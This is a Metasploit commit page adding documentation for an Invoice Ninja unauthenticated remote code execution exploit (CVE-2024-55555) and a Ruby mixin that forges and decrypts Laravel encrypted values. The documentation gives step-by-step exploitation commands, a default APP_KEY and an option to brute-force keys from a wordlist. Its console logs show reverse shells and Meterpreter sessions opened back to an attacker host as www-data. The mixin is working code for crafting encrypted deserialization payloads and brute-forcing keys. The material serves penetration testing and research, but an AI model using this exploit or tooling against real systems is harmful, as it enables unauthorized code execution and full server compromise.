Skip to content

Commit 8dd032e

Browse files
authored
Land rapid7#19897, Invoice Ninja unauthenticated RCE (CVE-2024-55555) and Laravel Crypto Killer mixin
Land rapid7#19897, Invoice Ninja unauthenticated RCE (CVE-2024-55555) and Laravel Crypto Killer mixin
2 parents b0cd258 + 1c27e2a commit 8dd032e

File tree

3 files changed

+476
-0
lines changed

3 files changed

+476
-0
lines changed
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
## Vulnerable Application
2+
Invoice Ninja is a free invoicing software for small businesses, based on the PHP framework Laravel.
3+
A Remote Code Execution vulnerability in Invoice Ninja (>= `5.8.22` <= `5.10.10`) allows remote unauthenticated
4+
attackers to conduct PHP deserialization attacks via endpoint `/route/<hash>` which accepts a Laravel
5+
ciphered value which is unsafe unserialized, if an attacker has access to the secret `APP_KEY`.
6+
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
7+
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
8+
to sensitive information.
9+
10+
The following release was tested.
11+
* Invoice Ninja `5.10.10` on Ubuntu 22.04
12+
13+
## Installation steps to install Invoice Ninja on a self-hosted platform
14+
`wget https://github.com/invoiceninja/dockerfiles/archive/refs/tags/5.8.22.zip`
15+
16+
`unzip 5.8.22.zip`
17+
18+
`cd dockerfiles-5.8.22`
19+
20+
Replace inside `docker-compose.yml`
21+
22+
FROM `image: invoiceninja/invoiceninja:5` TO `image: invoiceninja/invoiceninja:5.8.22`
23+
24+
Replace in `env`
25+
`APP_KEY=base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=`
26+
27+
Then, execute `docker-compose up`
28+
## Verification Steps
29+
- [ ] Start `msfconsole`
30+
- [ ] `use exploit/linux/http/linux/http/invoiceninja_uauth_rce_cve_2024_55555`
31+
- [ ] `set rhosts <ip-target>`
32+
- [ ] `set rport <port>`
33+
- [ ] `set lhost <attacker-ip>`
34+
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
35+
- [ ] `exploit`
36+
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
37+
38+
## Options
39+
### APP_KEY
40+
This option is required if the BRUTE_FORCE option is not used.
41+
It is the Laravel APP_KEY with a default key: `base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=`.
42+
43+
### BRUTEFORCE
44+
This option is optional and is a text file with a list of APP_KEYs, one per line for a bruteforce attack.
45+
46+
## Scenarios
47+
### Invoice Ninja 5.10.10 on Ubuntu 22.04 - PHP Command target
48+
Attack scenario: use the default Laravel APP_KEY preset in the option APP_KEY.
49+
```msf
50+
msf6 > use modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555
51+
[*] Using configured payload php/meterpreter/reverse_tcp
52+
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set rhosts 192.168.201.6
53+
rhosts => 192.168.201.6
54+
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set lhost 192.168.201.8
55+
lhost => 192.168.201.8
56+
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > rexploit
57+
[*] Reloading module...
58+
[*] Started reverse TCP handler on 192.168.201.8:4444
59+
[*] Running automatic check ("set AutoCheck false" to disable)
60+
[*] Checking if 192.168.201.6:443 can be exploited.
61+
[+] The target appears to be vulnerable. Invoice Ninja 5.10.10
62+
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie.
63+
[*] Grabbing the cookie with the XSRF-TOKEN.
64+
[+] APP_KEY is valid: base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=
65+
[+] Unciphered value: e60eab8287b88f834312505e582750ae6f95a84b|6IWTnJv2f3lL1nbKRbl6LwJixPeRF5grQVTFTIuB
66+
[*] Generate an encrypted serialization payload with our cracked APP_KEY.
67+
[*] Executing PHP for php/meterpreter/reverse_tcp
68+
[*] Sending stage (40004 bytes) to 192.168.201.6
69+
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.6:60120) at 2025-02-23 09:47:28 +0000
70+
71+
meterpreter > getuid
72+
Server username: www-data
73+
meterpreter > sysinfo
74+
Computer : cuckoo
75+
OS : Linux cuckoo 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
76+
Meterpreter : php/linux
77+
meterpreter > pwd
78+
/usr/share/nginx/invoiceninja/public
79+
meterpreter >
80+
```
81+
### Invoice Ninja 5.10.10 on Ubuntu 22.04 - Unix/Linux Command target
82+
Attack scenario: use the BRUTEFORCE option with a list of APP_KEYS in a text file.
83+
```msf
84+
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set target 1
85+
target => 1
86+
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set BRUTEFORCE /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt
87+
BRUTEFORCE => /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt
88+
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > rexploit
89+
[*] Reloading module...
90+
[*] Started reverse TCP handler on 192.168.201.8:4444
91+
[*] Running automatic check ("set AutoCheck false" to disable)
92+
[*] Checking if 192.168.201.6:443 can be exploited.
93+
[+] The target appears to be vulnerable. Invoice Ninja 5.10.10
94+
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie.
95+
[*] Grabbing the cookie with the XSRF-TOKEN.
96+
[*] Starting bruteforce decryption with APP_KEYS listed in /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt.
97+
[+] APP_KEY is valid: base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=
98+
[+] Unciphered value: e60eab8287b88f834312505e582750ae6f95a84b|3epElAO1qNeckBzHOytBrNnGrvRJSyeCBsahBkSO
99+
[*] Generate an encrypted serialization payload with our cracked APP_KEY.
100+
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
101+
[*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.6:60340) at 2025-02-23 09:49:15 +0000
102+
103+
id
104+
uid=33(www-data) gid=33(www-data) groups=33(www-data)
105+
uname -a
106+
Linux cuckoo 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
107+
pwd
108+
/usr/share/nginx/invoiceninja/public
109+
```
110+
111+
## Limitations
112+
No limitations.
Lines changed: 204 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,204 @@
1+
# -*- coding: binary -*-
2+
3+
require 'cgi'
4+
5+
###
6+
# This mixin module provides methods to exploit bad implementations of decryption mechanisms in Laravel applications.
7+
# This tool was firstly designed to craft payloads targeting the Laravel `decrypt()` function from the package `Illuminate\Encryption`.
8+
# It can also be used to decrypt any data encrypted via `encrypt()` or `encryptString()`.
9+
# The tool requires a valid `APP_KEY` to be used, you can also try to bruteforce them if you think there is a potential key reuse
10+
# from a public project for example.
11+
# Original authors of the tool: `@_remsio_` `@Kainx42` from SynActiv.
12+
# Orignal python code can be found here: https://github.com/synacktiv/laravel-crypto-killer
13+
# Recoded in Ruby by h00die-gr3y (h00die.gr3y[at]gmail.com)
14+
###
15+
module Msf::Exploit::LaravelCryptoKiller
16+
# Check if cipher is valid
17+
# @param [String] <cipher_mode> The cipher_mode
18+
#
19+
# @return [Boolean] true if mode is ok or false if mode is not valid
20+
def valid_cipher?(cipher_mode)
21+
ciphers ||= OpenSSL::Cipher.ciphers
22+
ciphers.include?(cipher_mode.downcase)
23+
end
24+
25+
# Perform AES encryption in CBC mode (compatible with Laravel)
26+
# @param [String] <value> The value that will be encrypted
27+
# @param [String] <iv> The IV parameter used for encryption
28+
# @param [String] <key> The key used for encryption
29+
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
30+
#
31+
# @return [String] The encrypted value or nil if unsuccessful
32+
def aes_encrypt(value, iv, key, cipher_mode)
33+
# Check cipher mode
34+
unless valid_cipher?(cipher_mode)
35+
vprint_error("Cipher is not valid: #{cipher_mode}")
36+
return
37+
end
38+
# Create a new AES cipher in CBC mode
39+
cipher = OpenSSL::Cipher.new(cipher_mode)
40+
cipher.encrypt
41+
cipher.key = key
42+
cipher.iv = iv
43+
44+
# Padding (similar to the pad lambda in Python)
45+
pad_length = 16 - (value.length % 16)
46+
padded_value = value + (pad_length.chr * pad_length)
47+
48+
# Encrypt the data
49+
cipher.update(padded_value)
50+
rescue StandardError => e
51+
vprint_error("AES encryption failed: #{e.message}")
52+
end
53+
54+
# Perform AES decryption in CBC mode (compatible with Laravel)
55+
# @param [String] <encrypted_value> Encrypted value that will be decrypted
56+
# @param [String] <iv> Random 16-byte IV parameter used for encryption
57+
# @param [String] <key> The key used for decryption
58+
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
59+
#
60+
# @return [String] The decrypted value or nil if unsuccessful
61+
def aes_decrypt(encrypted_value, iv, key, cipher_mode)
62+
# Check cipher mode
63+
unless valid_cipher?(cipher_mode)
64+
vprint_error("Cipher is not valid: #{cipher_mode}")
65+
return
66+
end
67+
# Create AES cipher in CBC mode
68+
cipher = OpenSSL::Cipher.new(cipher_mode)
69+
cipher.decrypt
70+
cipher.key = key
71+
cipher.iv = iv
72+
73+
# Decrypt the value
74+
cipher.update(encrypted_value) + cipher.final
75+
rescue OpenSSL::Cipher::CipherError => e
76+
vprint_error("AES decryption failed: #{e.message}")
77+
end
78+
79+
# Encrypts a base64 string as a ciphered Laravel value
80+
# @param [String] <value> The base64-encode value that will be encrypted
81+
# @param [String] <key> The key used for decryption
82+
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
83+
#
84+
# @return [String] The base64-encoded encrypted JSON.
85+
def laravel_encrypt(value_to_encrypt, key, cipher_mode)
86+
key = retrieve_key(key)
87+
iv = OpenSSL::Random.random_bytes(16) # Random 16-byte IV
88+
tmp_bytes = Base64.strict_encode64(aes_encrypt(Base64.strict_decode64(value_to_encrypt), iv, key, cipher_mode))
89+
90+
# Base64-encode the IV
91+
b64_iv = Base64.strict_encode64(iv).strip
92+
93+
# Prepare data for output
94+
data = {
95+
'iv' => b64_iv,
96+
'value' => tmp_bytes.strip,
97+
'mac' => generate_mac(key, b64_iv, tmp_bytes.strip),
98+
'tag' => '' # Assuming empty tag
99+
}
100+
# Return the final encrypted value as Base64-encoded JSON
101+
Base64.strict_encode64(data.to_json)
102+
end
103+
104+
# Encrypts a base64 string as a Laravel session cookie.
105+
# @param [String] <value_to_encrypt> The value that will be encrypted
106+
# @param [String] <hash_value> The decrypted value of the Laravel session cookie
107+
# @param [String] <key> The key used for decryption
108+
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
109+
#
110+
# @return [String] The base64-encoded encrypted Laravel session_cookie value
111+
def laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode)
112+
decoded_value = Base64.strict_decode64(value_to_encrypt).force_encoding('utf-8')
113+
parsed_value = decoded_value.gsub('\\', '\\\\\\').gsub('"', '\\"').gsub(/\00/, '\\u0000')
114+
session_json_to_encrypt = "#{hash_value}|{\"data\":\"#{parsed_value}\",\"expires\":9999999999}"
115+
laravel_encrypt(Base64.strict_encode64(session_json_to_encrypt), key, cipher_mode)
116+
end
117+
118+
# Parses Laravel cipher data
119+
# @param [String] <laravel_cipher> The base64-encoded Laravel cipher data
120+
#
121+
# @return [String] The laravel parsed cipher data in JSON format or nil if unsuccessful
122+
def parse_laravel_cipher(laravel_cipher)
123+
laravel_cipher = CGI.unescape(laravel_cipher) # Decoding URL encoded string
124+
begin
125+
data = JSON.parse(Base64.strict_decode64(laravel_cipher))
126+
rescue JSON::ParserError
127+
vprint_error('The JSON inside your base64 is malformed')
128+
return
129+
rescue StandardError
130+
vprint_error('Your base64 laravel_cipher value is malformed')
131+
return
132+
end
133+
134+
data['value'] = Base64.strict_decode64(data['value'])
135+
data['iv'] = Base64.strict_decode64(data['iv'])
136+
data
137+
end
138+
139+
# Parse Laravel APP_KEY value
140+
# @param [String] <key> The Laravel APP_KEY
141+
#
142+
# @return [String] The Laravel parsed APP_KEY
143+
def retrieve_key(key)
144+
if key.start_with?('base64:')
145+
Base64.strict_decode64(key.split(':')[1])
146+
elsif key.length == 44
147+
Base64.strict_decode64(key)
148+
else
149+
key.encode('utf-8')
150+
end
151+
end
152+
153+
# Decrypts a Laravel ciphered string
154+
# @param [String] <laravel_cipher> The Laravel cipher to be decrypted
155+
# @param [String] <key> The key used for decryption
156+
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
157+
#
158+
# @return [String] The decrypted Laravel cipher or nil if unsuccessful
159+
def laravel_decrypt(laravel_cipher, key, cipher_mode)
160+
data = parse_laravel_cipher(laravel_cipher)
161+
key = retrieve_key(key)
162+
163+
begin
164+
return aes_decrypt(data['value'], data['iv'], key, cipher_mode)
165+
rescue StandardError
166+
vprint_error('Your key is probably malformed or incorrect.')
167+
end
168+
end
169+
170+
# Uses an opened file containing a key on each line to perform a brute-force attack on a given value
171+
# @param [String] <value> The encrypted Laravel value
172+
# @param [String] <key_file> The file with Laravel APP_KEYs per line used for brute-force decryption
173+
# @param [String] <key> The key used for decryption
174+
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
175+
#
176+
# @return [String] The valid key if it was identified with the value: {"key":<key>, "value":<value>}
177+
def laravel_bruteforce_from_file(value, key_file, cipher_mode)
178+
if !File.file?(key_file)
179+
return nil
180+
end
181+
182+
File.foreach(key_file) do |line|
183+
key = line.strip
184+
decrypted_value = laravel_decrypt(value, key, cipher_mode).force_encoding('utf-8')
185+
if decrypted_value
186+
return { 'key' => key, 'value' => decrypted_value }
187+
end
188+
rescue StandardError
189+
next
190+
end
191+
192+
nil
193+
end
194+
195+
# Generate HMAC with SHA256
196+
# @param [String] <value> The value that will be encrypted
197+
# @param [String] <iv> Random 16-byte IV parameter
198+
# @param [String] <key> The key
199+
#
200+
# @return [String] The hmac digest.
201+
def generate_mac(key, iv, value)
202+
return OpenSSL::HMAC.hexdigest('SHA256', key, "#{iv}#{value}")
203+
end
204+
end

0 commit comments

Comments
 (0)